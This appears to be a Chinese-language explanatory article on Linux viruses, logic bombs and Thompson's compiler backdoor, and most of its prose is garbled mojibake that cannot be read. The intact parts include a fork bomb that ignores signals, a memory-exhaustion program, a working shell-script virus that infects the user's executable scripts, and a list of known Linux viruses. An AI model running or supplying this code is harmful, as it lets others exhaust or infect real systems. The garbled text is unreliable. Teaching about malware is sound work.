锟斤拷锟斤拷晒锟斤拷鼗锟斤拷锟斤拷锟矫伙拷锟斤拷锟绞号ｏ拷锟斤拷锟斤拷锟斤拷图锟揭筹拷锟斤拷些锟结供直锟接凤拷锟绞讹拷锟斤拷锟斤拷锟斤拷锟捷硷拷锟斤拷锟侥伙拷锟斤拷锟斤拷也锟斤拷锟斤拷使锟斤拷~/.rhost锟斤拷/etc/hosts.equiv锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷拢锟斤拷锟绞癸拷锟�rsh锟斤拷锟斤拷远锟教伙拷锟斤拷锟斤拷执锟斤拷指锟筋。锟斤拷锟斤拷锟斤拷锟斤拷锟杰斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟狡碉拷锟铰碉拷锟斤拷锟斤拷锟较诧拷锟斤拷循锟斤拷锟劫次匡拷始锟斤拷
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锟斤拷锟斤拷应注锟斤拷锟斤拷锟揭伙拷锟斤拷锟斤拷锟杰癸拷锟斤拷远锟教伙拷锟斤拷锟斤拷执锟斤拷一些指锟筋，锟斤拷么锟斤拷锟斤拷锟斤拷锟斤拷锟侥凤拷锟斤拷锟斤拷锟洁当锟斤拷锟接的★拷锟斤拷锟斤拷要锟斤拷锟斤拷一锟斤拷小锟斤拷C锟斤拷锟斤拷锟斤拷锟街筹拷锟斤拷锟铰憋拷锟诫，然锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟脚ｏ拷锟斤拷锟斤拷锟斤拷一锟斤拷TCP/IP锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟饺★拷锟斤拷锟斤拷锟斤拷锟斤拷亩锟斤拷锟斤拷瞥锟斤拷锟斤拷锟诫。锟斤拷些锟斤拷锟秸的猴拷预锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷执锟斤拷诟锟斤拷锟斤拷锟较碉拷峁�(Vax锟斤拷Sun),锟斤拷锟斤拷锟斤拷潭锟斤拷锟斤拷瞬锟斤拷浴锟斤拷锟斤拷猓拷锟斤拷浅锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷藜锟斤拷锟窖帮拷锟�

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锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟节硷拷锟斤拷锟叫达拷锟斤拷一锟斤拷时锟戒。

锟斤拷锟斤拷锟戒复锟斤拷锟皆ｏ拷锟斤拷锟斤拷锟斤拷要稀锟斤拷一些锟斤拷一锟斤拷锟斤拷要锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟酵碉拷锟斤拷胁锟斤拷锟斤拷锟斤拷为锟斤拷锟斤拷锟绞硷拷锟斤拷锟斤拷锟斤拷锟斤拷牟锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟�"ILoveYou"锟斤拷锟斤拷锟斤拷锟斤拷锟叫╋拷锟斤拷锟绞拷旨虻サ模锟斤拷锟斤拷遣锟斤拷锟斤拷锟斤拷煤锟斤拷写锟侥ｏ拷锟斤拷Basic锟叫ｏ拷锟斤拷执锟叫筹拷锟斤拷锟斤拷锟斤拷锟侥讹拷锟绞硷拷时锟皆讹拷锟斤拷锟斤拷锟斤拷锟斤拷只锟斤拷某些锟斤拷锟斤拷系统锟斤拷效锟斤拷锟斤拷锟界当锟绞硷拷锟侥讹拷锟斤拷锟斤拷锟矫碉拷太锟斤拷时锟斤拷锟斤拷些锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥撅拷锟斤拷锟斤拷锟斤拷锟斤拷锟芥，锟斤拷为锟斤拷锟角讹拷要锟斤拷锟矫伙拷锟侥诧拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷

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锟斤拷锟斤拷锟斤拷锟斤拷锟脚筹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷木锟斤拷锟斤拷锟饺较ｏ拷锟斤拷锟斤拷锟斤拷锟角诧拷锟斤拷锟斤拷同锟斤拷一锟斤拷锟斤拷锟脚筹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟竭硷拷锟斤拷锟斤拷锟矫伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟睫革拷锟斤拷锟斤拷为锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷戏锟斤拷锟斤拷锟斤拷锟斤拷取锟斤拷锟斤拷锟斤拷源锟斤拷锟斤拷锏斤拷锟斤拷呒锟斤拷锟斤拷目锟斤拷锟�锟斤拷骗锟斤拷锟斤拷锟斤拷锟结并锟桔★拷只锟斤拷锟斤拷也同锟斤拷锟斤拷锟斤拷锟节关硷拷锟斤拷应锟矫筹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷证锟斤拷锟斤拷锟斤拷锟斤拷锟绞硷拷锟斤拷锟斤拷为锟斤拷锟角匡拷锟皆讹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷胤锟斤拷剩锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥达拷锟斤拷锟斤拷知锟斤拷锟斤拷

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锟角得诧拷同锟斤拷锟斤拷锟截的凤拷锟斤拷锟斤拷锟斤拷锟斤拷锟�"Wargame"锟斤拷影锟叫诧拷锟斤拷锟斤拷锟斤拷锟节猴拷系统锟节猴拷一锟斤拷锟斤拷锟桔的ｏ拷锟斤拷锟斤拷锟斤拷也锟斤拷锟斤拷锟揭碉拷锟斤拷锟节达拷锟斤拷实锟斤拷锟侥革拷锟界报锟斤拷锟斤拷锟斤拷一篇锟斤拷锟斤拷锟斤拷锟脚碉拷锟斤拷锟斤拷[THOMPSON 84]锟叫ｏ拷Unix之锟斤拷锟斤拷锟叫碉拷一位Ken Thompson锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷前锟斤拷Unix系统锟斤拷实锟街碉拷锟斤拷锟截的凤拷锟斤拷锟斤拷冢锟�

锟斤拷锟睫革拷锟斤拷/bin/login应锟矫筹拷锟斤拷锟斤拷锟斤拷嵌一小锟轿达拷锟诫，通锟斤拷锟斤拷锟斤拷预锟饺憋拷锟斤拷玫锟接诧拷锟斤拷锟斤拷锟斤拷锟诫（锟斤拷锟诫考锟斤拷/etc/passwd锟斤拷锟斤拷锟结供锟斤拷系统锟斤拷直锟接凤拷锟绞★拷锟斤拷锟斤拷锟斤拷Thompson锟杰癸拷使锟斤拷锟斤拷锟�login锟芥本锟斤拷锟斤拷每锟斤拷系统锟斤拷
锟斤拷锟斤拷锟斤拷锟斤拷应锟矫筹拷锟斤拷锟皆达拷锟街伙拷锟斤拷诘锟绞憋拷锟斤拷锟斤拷锟轿拷私锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷之锟斤拷login.c锟斤拷源锟斤拷锟斤拷Unix系统锟较癸拷锟斤拷锟斤拷锟斤拷锟斤拷每锟斤拷锟剿讹拷锟杰讹拷取锟斤拷锟斤拷拇锟斤拷搿ｏ拷锟剿ｏ拷Thompson锟结供锟剿干撅拷锟侥诧拷锟斤拷锟斤拷锟绞猴拷锟脚碉拷login.c锟斤拷
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锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟解？锟饺ｏ拷锟斤拷锟睫办法锟斤拷唯一锟侥凤拷锟斤拷锟斤拷锟斤拷使锟斤拷一锟斤拷全锟铰碉拷系统锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟节帮拷装锟斤拷锟斤拷时锟斤拷头锟斤拷锟斤拷锟斤拷锟叫碉拷微锟斤拷锟诫，锟斤拷锟斤拷系统锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷实锟矫癸拷锟竭ｏ拷锟斤拷锟斤拷锟斤拷锟睫凤拷确锟斤拷每锟斤拷应锟矫筹拷锟斤拷锟角干撅拷锟侥ｏ拷锟斤拷使锟斤拷锟斤拷些锟斤拷源锟斤拷某锟斤拷锟�

锟斤拷么锟斤拷Linux锟斤拷么锟斤拷锟斤拷

锟斤拷锟角筹拷锟斤拷锟斤拷锟轿猴拷系统锟较碉拷锟斤拷要锟斤拷锟秸★拷锟斤拷锟节ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷Linux锟斤拷氐锟斤拷锟叫诧拷锟�

锟竭硷拷炸锟斤拷

锟斤拷锟饺ｏ拷锟斤拷锟斤拷锟角匡拷锟斤拷锟斤拷锟竭硷拷炸锟斤拷锟斤拷Linux锟斤拷锟斤拷锟斤拷执锟斤拷时锟杰达拷锟斤拷锟斤拷锟斤拷锟斤拷危锟斤拷锟斤拷锟皆讹拷锟阶硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷希锟斤拷锟斤到锟斤拷效锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟矫伙拷锟斤拷锟捷碉拷锟斤拷权锟斤拷

锟斤拷锟斤拷锟桔硷拷系统锟侥硷拷锟斤拷锟金坏伙拷锟竭伙拷锟斤拷锟斤拷锟捷的讹拷取锟斤拷锟斤拷锟角伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟轿★拷锟斤拷锟秸拷锟斤拷锟�root锟斤拷锟斤拷执锟叫ｏ拷锟斤拷锟斤拷拥锟斤拷锟节伙拷锟斤拷锟较碉拷锟斤拷锟饺拷锟斤拷锟斤拷锟斤拷锟缴撅拷锟矫匡拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷岬斤拷锟揭伙拷锟斤拷锟接诧拷锟斤拷锟斤拷锟斤拷锟矫碉拷锟剿猴拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷魏锟斤拷锟斤拷锟斤拷没锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟矫达拷锟斤拷锟斤拷锟缴碉拷锟狡伙拷锟斤拷锟结超锟斤拷锟矫伙拷锟斤拷权锟斤拷之锟解。锟斤拷只锟斤拷锟狡伙拷锟斤拷锟节革拷锟矫伙拷锟斤拷锟斤拷锟捷★拷锟节达拷锟斤拷锟斤拷锟斤拷锟铰ｏ拷每锟斤拷锟剿癸拷锟斤拷锟斤拷锟皆硷拷锟斤拷锟侥硷拷锟斤拷一锟斤拷锟斤拷职锟斤拷系统锟斤拷锟斤拷员锟斤拷root锟斤拷锟斤拷只锟斤拷锟叫猴拷锟劫碉拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟皆硷拷锟斤拷锟节革拷锟剿猴拷锟斤拷锟斤拷锟斤拷锟竭硷拷炸锟斤拷锟侥匡拷锟斤拷锟皆★拷

Linux系统锟斤拷私锟斤拷锟斤拷锟捷猴拷硬锟斤拷锟斤拷取锟侥憋拷锟斤拷锟斤拷锟斤拷锟斤拷锟洁当锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷些锟斤拷锟矫耗撅拷锟斤拷锟斤拷锟斤拷源锟斤拷使系统锟睫凤拷锟斤拷锟斤拷锟侥癸拷锟斤拷锟斤拷锟叫★拷锟斤拷锟界，锟斤拷锟铰碉拷C锟斤拷锟斤拷秃锟斤拷锟酵ｏ拷锟斤拷锟斤拷锟斤拷锟绞癸拷锟斤拷锟斤拷锟酵拷没锟斤拷锟斤拷锟揭诧拷锟剿ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷没锟绞癸拷玫慕锟斤拷锟斤拷锟矫伙拷锟斤拷锟斤拷疲锟斤拷锟斤拷帷帮拷跃锟斤拷锟斤拷锟斤拷瘫锟斤拷锟斤拷锟斤拷械目锟斤拷锟斤拷锟侥匡拷锟斤拷锟街癸拷魏锟斤拷锟斤拷映锟斤拷锟缴憋拷锟斤拷锟斤拷锟�

  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}

锟斤拷锟斤拷远锟斤拷没锟绞凳╋拷锟斤拷锟斤拷疲锟绞癸拷锟�setrlimit()系统锟斤拷锟矫猴拷shellulimit锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟教达拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷只锟节撅拷锟斤拷一锟斤拷时锟斤拷锟斤拷锟斤拷锟斤拷锟矫ｏ拷锟节达拷锟节硷拷锟节ｏ拷系统锟斤拷锟睫凤拷锟斤拷锟斤拷摹锟�

锟斤拷锟斤拷同锟斤拷锟斤拷原锟斤拷锟斤拷锟铰的筹拷锟斤拷木锟斤拷锟斤拷锌锟斤拷玫锟斤拷诖娌⒀拷锟斤拷锟斤拷小锟斤拷缘锟斤拷锟紺PU锟斤拷锟节ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟缴硷拷锟斤拷母锟斤拷拧锟�

  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}

通锟斤拷锟矫筹拷锟斤拷锟斤拷锟酵拷锟斤拷锟斤拷锟斤拷诤说姆锟斤拷锟斤拷姹撅拷械锟斤拷锟斤拷锟斤拷诖锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟皆讹拷杀锟斤拷锟斤拷锟斤拷锟斤拷锟节达拷之前锟斤拷杀锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷诤锟斤拷锟揭拷锟斤拷锟斤拷锟斤拷诖锟酵讹拷锟捷碉拷停止锟筋动锟斤拷锟斤拷锟斤拷X11应锟矫筹拷锟津）★拷锟斤拷锟解，锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷要锟节达拷慕锟斤拷锟斤拷薹锟斤拷玫锟斤拷锟斤拷悖拷獬ｏ拷锟斤拷岬硷拷锟斤拷锟斤拷锟斤拷锟街癸拷锟斤拷小锟�

锟斤拷锟斤拷锟斤拷锟界部锟斤拷锟斤拷锟斤拷也锟斤拷锟斤拷锟阶ｏ拷锟斤拷锟斤拷使锟矫诧拷锟较碉拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷使锟斤拷应锟侥端口癸拷锟截★拷锟斤拷锟斤拷锟斤拷锟侥凤拷锟斤拷锟斤拷锟叫ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷通锟斤拷要锟缴癸拷锟斤拷员锟斤拷执锟叫★拷锟缴此ｏ拷锟斤拷锟角伙拷注锟解到锟斤拷Linux锟铰ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷通锟矫伙拷锟斤拷锟斤拷锟斤拷锟竭硷拷炸锟斤拷锟狡伙拷锟斤拷锟剿诧拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷十锟斤拷锟斤拷锟结。锟斤拷一些fork(),malloc()锟斤拷connect()锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷远锟较低筹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷氐锟窖癸拷锟斤拷锟�

锟斤拷锟斤拷

锟斤拷锟斤拷:Unix锟斤拷锟斤拷

锟斤拷锟斤拷盏锟経nix锟斤拷锟斤拷锟斤拷

锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷协锟斤拷原锟斤拷锟斤拷:

锟斤拷锟斤拷锟绞癸拷锟絃inux锟斤拷锟斤拷Unix锟斤拷锟诫将锟斤拷锟绞硷拷转锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷巡锟斤拷锟斤拷锟斤拷锟狡伙拷锟斤拷系统锟较碉拷一些锟侥硷拷锟斤拷

撇锟斤拷锟角革拷锟秸憋拷目锟斤拷锟斤拷锟斤拷郏锟斤拷锟斤拷锟饺凤拷锟絃inux锟铰碉拷一锟斤拷锟斤拷胁锟斤拷锟斤拷锟斤拷锟斤拷锟酵的诧拷锟斤拷锟斤拷锟叫★拷锟斤拷Linux锟铰诧拷锟斤拷锟揭诧拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟解倒锟斤拷没锟斤拷锟侥★拷锟斤拷锟饺ｏ拷锟斤拷锟斤拷锟角匡拷锟斤拷锟斤拷锟斤拷锟节伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟侥阶段★拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷诖锟街达拷小锟斤拷锟斤拷锟轿讹拷锟揭伙拷锟斤拷锟斤拷锟绞达拷目锟街达拷锟斤拷募锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷乒锟斤拷锟斤拷恕锟斤拷锟絃inux锟斤拷锟斤拷锟叫ｏ拷锟结供一锟斤拷应锟矫筹拷锟斤拷锟侥筹拷说某锟斤拷锟斤拷锟斤拷锟斤拷歉锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷诘锟�URL锟斤拷锟斤拷锟斤拷锟角凤拷锟斤拷锟斤拷执锟斤拷锟侥硷拷锟斤拷锟斤拷锟斤拷味锟斤拷锟斤拷锟皆官凤拷站锟斤拷牟锟斤拷锟斤拷芸锟斤拷锟斤拷锟斤拷獾斤拷锟揭伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟饺撅拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷越锟斤拷锟斤拷锟皆わ拷锟斤拷锟接︼拷贸锟斤拷锟侥凤拷锟斤拷平台锟斤拷锟斤拷锟角硷拷为锟斤拷锟斤拷锟侥★拷实锟斤拷锟较ｏ拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟叫碉拷锟竭硷拷炸锟斤拷锟斤拷锟皆ｏ拷锟斤拷执锟斤拷锟侥硷拷锟斤拷锟角好的达拷锟斤拷锟斤拷省锟�

锟斤拷锟斤拷锟结到锟节伙拷锟斤拷锟节诧拷锟侥达拷锟斤拷锟斤拷锟斤拷锟斤拷锟皆ｏ拷一锟斤拷锟斤拷锟斤拷蚀锟斤拷应锟矫筹拷锟斤拷只锟杰达拷染锟斤拷锟斤拷锟叫该筹拷锟斤拷锟斤拷没锟斤拷锟斤拷锟叫慈拷薜锟斤拷募锟斤拷锟街伙拷锟斤拷锟斤拷锟斤拷些确实锟斤拷要锟斤拷权锟侥诧拷锟斤拷时锟斤拷锟斤拷root锟斤拷锟捷癸拷锟斤拷锟侥达拷锟斤拷锟侥癸拷锟斤拷员锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷拥锟斤拷锟斤拷锟斤拷锟斤拷锟绞憋拷锟斤拷锟斤拷碌锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷税锟阶�Set-UID root应锟矫筹拷锟斤拷时锟斤拷锟饺撅拷锟斤拷锟街拷猓拷锟斤拷湛锟斤拷源锟斤拷锟叫★拷锟斤拷锟斤拷锟酵拷没锟斤拷锟揭拷锟斤拷锟揭伙拷锟斤拷锟斤拷锟饺撅拷某锟斤拷锟绞憋拷锟斤拷锟斤拷锟街伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷诟锟斤拷没锟斤拷锟斤拷募锟斤拷锟斤拷锟斤拷锟皆凤拷止锟斤拷锟饺鞠低呈碉拷贸锟斤拷锟�

锟斤拷锟斤拷说锟杰筹拷时锟斤拷锟斤拷Unix锟铰的诧拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟叫帮拷幕锟斤拷锟斤拷锟揭诧拷锟斤拷锟轿拷锟斤拷锟斤拷锟斤拷锟街拷锟斤拷腔锟斤拷锟斤拷锟皆ｏ拷锟酵匡拷锟侥硷拷锟斤拷之锟斤拷锟角讹拷锟斤拷锟斤拷锟矫ｏ拷锟侥讹拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷预锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟矫凤拷围锟斤拷锟斤拷锟斤拷锟津并凤拷锟斤拷耍锟揭伙拷锟斤拷锟饺緄386锟斤拷锟斤拷锟斤拷Linux锟斤拷锟斤拷Glibc 2.1锟斤拷锟斤拷锟紼LF锟侥硷拷锟侥诧拷锟斤拷锟斤拷锟揭碉拷锟斤拷锟斤拷目锟疥。锟斤拷锟斤拷之锟解，锟斤拷锟斤拷锟斤拷写锟斤拷锟斤拷锟皆讹拷锟斤拷锟斤拷执锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷说锟斤拷锟斤拷锟斤拷锟揭伙拷锟斤拷锟斤拷shell scripts锟侥诧拷锟斤拷锟斤拷锟斤拷锟斤拷图锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷目录锟斤拷每锟斤拷shell锟脚憋拷锟斤拷为锟剿憋拷锟斤拷锟轿革拷染同一锟脚憋拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟节第讹拷锟斤拷锟斤拷注锟酵★拷infectd锟斤拷锟斤拷vaccinated锟斤拷锟斤拷锟侥硷拷锟斤拷

#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
        exec < $fic
        # Let's try to read a first line,
        if  ! read line ; then
                continue
        fi
        # and let's check it is a shell script.
        if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
                continue
        fi
        # Let's read a second line.
        if ! read line ; then
                continue
        fi
        # Is the file already infected or vaccinated ?
        if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
                continue
        fi
        # Otherwise we infect it: copy the virus body,
        head -33 $0 > $tmp_fic
        # and the original file.
        cat $fic >> $tmp_fic
        # Overwrite the original file.
        cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷诤锟教ㄖ达拷卸锟斤拷锟皆硷拷疟锟斤拷锟斤拷锟斤拷锟斤拷锟侥筹拷锟芥工锟斤拷锟斤拷锟斤拷然锟斤拷锟斤拷要锟斤拷root锟斤拷锟斤拷锟斤拷锟叫该脚憋拷锟斤拷锟截憋拷锟斤拷锟斤拷锟斤拷锟斤拷锟�find .锟芥换锟斤拷find /锟斤拷锟斤拷锟斤拷锟斤拷虿唤锟斤拷锟洁，锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟阶凤拷锟斤拷锟斤拷锟斤拷疲锟斤拷乇锟斤拷锟斤拷锟斤拷系统锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟狡碉拷shell锟脚憋拷锟斤拷

锟斤拷1锟叫猴拷锟斤拷Linux锟斤拷知锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟较拷锟酵拷锟斤拷锟斤拷募锟酵凤拷锟斤拷锟斤拷锟斤拷锟诫并锟斤拷锟斤拷原始锟斤拷锟斤拷锟绞ｏ拷嗖匡拷郑锟斤拷锟斤拷嵌锟斤拷筛锟饺綞LF锟斤拷执锟斤拷锟侥硷拷锟斤拷锟斤拷锟角革拷知锟斤拷锟斤拷锟斤拷锟斤拷锟角伙拷锟斤拷系统目录锟铰诧拷锟斤拷潜锟节碉拷目锟疥。锟接此憋拷锟叫ｏ拷锟斤拷锟斤拷锟阶拷獾斤拷锟絃inux锟铰的诧拷锟斤拷锟斤拷使没锟斤拷太锟斤拷婢拷锟揭诧拷锟斤拷锟斤拷锟斤拷锟斤拷锟缴铰端拷锟斤拷锟揭拷锟斤拷锟轿壳拔癸拷锟斤拷锟斤拷锟斤拷锟斤拷藓锟斤拷摹锟�

Table 1 - Linux锟铰的诧拷锟斤拷
锟斤拷锟斤拷 锟竭硷拷炸锟斤拷 锟斤拷注

Bliss 锟斤拷锟斤拷锟睫活动锟斤拷锟斤拷锟斤拷锟窖★拷锟�--bliss-disinfect-files-please锟斤拷锟斤拷锟皆讹拷锟斤拷锟斤拷锟皆匡拷执锟斤拷锟侥硷拷锟侥革拷染锟斤拷

Diesel 锟斤拷

Kagob 锟斤拷使锟斤拷锟斤拷时锟侥硷拷锟斤拷执锟斤拷锟窖革拷染锟斤拷原始锟斤拷锟斤拷

Satyr 锟斤拷

Vit4096 锟斤拷只锟斤拷染锟斤拷前目录锟斤拷锟侥硷拷锟斤拷

Winter 锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷为341锟街节★拷只锟斤拷染锟斤拷前目录锟叫碉拷锟侥硷拷锟斤拷

Winux 锟斤拷锟矫诧拷锟斤拷锟斤拷锟斤拷锟街诧拷同锟斤拷锟诫，锟缴分憋拷锟斤拷锟斤拷锟斤拷染Windows锟侥硷拷锟斤拷Elf Linux锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷探锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷诜锟斤拷锟街拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷浯拷锟斤拷幕锟斤拷省锟�

ZipWorm 锟斤拷锟戒发锟街碉拷Zip锟侥硷拷锟叫诧拷锟斤拷一锟斤拷锟斤拷Linux锟斤拷Windows锟侥★拷锟秸讹拷锟斤拷troll锟斤拷锟斤拷锟侥憋拷锟斤拷锟斤拷锟斤拷troll锟斤拷=锟斤拷锟斤拷锟斤拷械锟揭伙拷锟叫★拷锟斤拷耍锟斤拷锟斤拷锟阶拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷态锟斤拷锟窖好碉拷侏锟藉）锟斤拷

Table 1 - Linux锟铰的诧拷锟斤拷
锟斤拷锟斤拷	锟竭硷拷炸锟斤拷	锟斤拷注
Bliss	锟斤拷锟斤拷锟睫活动	锟斤拷锟斤拷锟斤拷锟窖★拷锟�`--bliss-disinfect-files-please`锟斤拷锟斤拷锟皆讹拷锟斤拷锟斤拷锟皆匡拷执锟斤拷锟侥硷拷锟侥革拷染锟斤拷
Diesel	锟斤拷
Kagob	锟斤拷	使锟斤拷锟斤拷时锟侥硷拷锟斤拷执锟斤拷锟窖革拷染锟斤拷原始锟斤拷锟斤拷
Satyr	锟斤拷
Vit4096	锟斤拷	只锟斤拷染锟斤拷前目录锟斤拷锟侥硷拷锟斤拷
Winter	锟斤拷	锟斤拷锟斤拷锟斤拷锟斤拷为341锟街节★拷只锟斤拷染锟斤拷前目录锟叫碉拷锟侥硷拷锟斤拷
Winux	锟斤拷	锟矫诧拷锟斤拷锟斤拷锟斤拷锟街诧拷同锟斤拷锟诫，锟缴分憋拷锟斤拷锟斤拷锟斤拷染Windows锟侥硷拷锟斤拷Elf Linux锟侥硷拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷探锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷诜锟斤拷锟街拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷浯拷锟斤拷幕锟斤拷省锟�
ZipWorm	锟斤拷锟戒发锟街碉拷Zip锟侥硷拷锟叫诧拷锟斤拷一锟斤拷锟斤拷Linux锟斤拷Windows锟侥★拷锟秸讹拷锟斤拷troll锟斤拷锟斤拷锟侥憋拷锟斤拷锟斤拷锟斤拷troll锟斤拷=锟斤拷锟斤拷锟斤拷械锟揭伙拷锟叫★拷锟斤拷耍锟斤拷锟斤拷锟阶拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷态锟斤拷锟窖好碉拷侏锟藉）锟斤拷

锟斤拷锟阶拷獾斤拷锟絎inux锟斤拷锟斤拷锟斤拷锟斤拷锟杰癸拷锟斤拷Windows也锟斤拷锟斤拷Linux锟铰达拷锟斤拷锟斤拷锟斤拷锟斤拷一锟斤拷锟睫猴拷锟侥诧拷锟斤拷锟斤拷锟斤拷锟斤拷说锟斤拷一锟斤拷实锟斤拷危锟秸ｏ拷锟斤拷锟斤拷说锟斤拷一锟街匡拷锟斤拷锟皆碉拷锟斤拷证锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟诫到锟斤拷锟斤拷锟斤拷一锟斤拷锟斤拷锟斤拷锟斤拷锟杰癸拷锟斤拷一锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷一锟斤拷锟斤拷锟斤拷锟斤拷使锟斤拷Samba锟斤拷锟斤拷锟斤拷锟斤拷锟街诧拷同锟斤拷锟酵碉拷锟斤拷锟斤拷鹊龋锟斤拷锟酵伙拷锟斤拷锟斤拷锟斤拷锟狡感碉拷锟斤拷锟斤拷锟斤拷锟斤拷锟剿★拷要锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷一锟斤拷锟斤拷痛锟斤拷锟斤拷锟斤拷椋拷锟轿拷锟斤拷锟侥癸拷锟竭憋拷锟斤拷锟酵憋拷锟斤拷锟斤拷锟斤拷锟较低筹拷锟接︼拷锟斤拷锟斤拷拥锟斤拷牵锟斤拷锟斤拷Linux锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷Windows锟铰的诧拷锟斤拷锟斤拷锟绞的伙拷锟斤拷锟斤拷么Linux锟斤拷锟斤拷锟斤拷止锟斤拷锟斤拷通锟矫伙拷锟斤拷锟斤拷锟斤拷锟斤拷锟叫的诧拷锟斤拷锟狡伙拷系统锟侥硷拷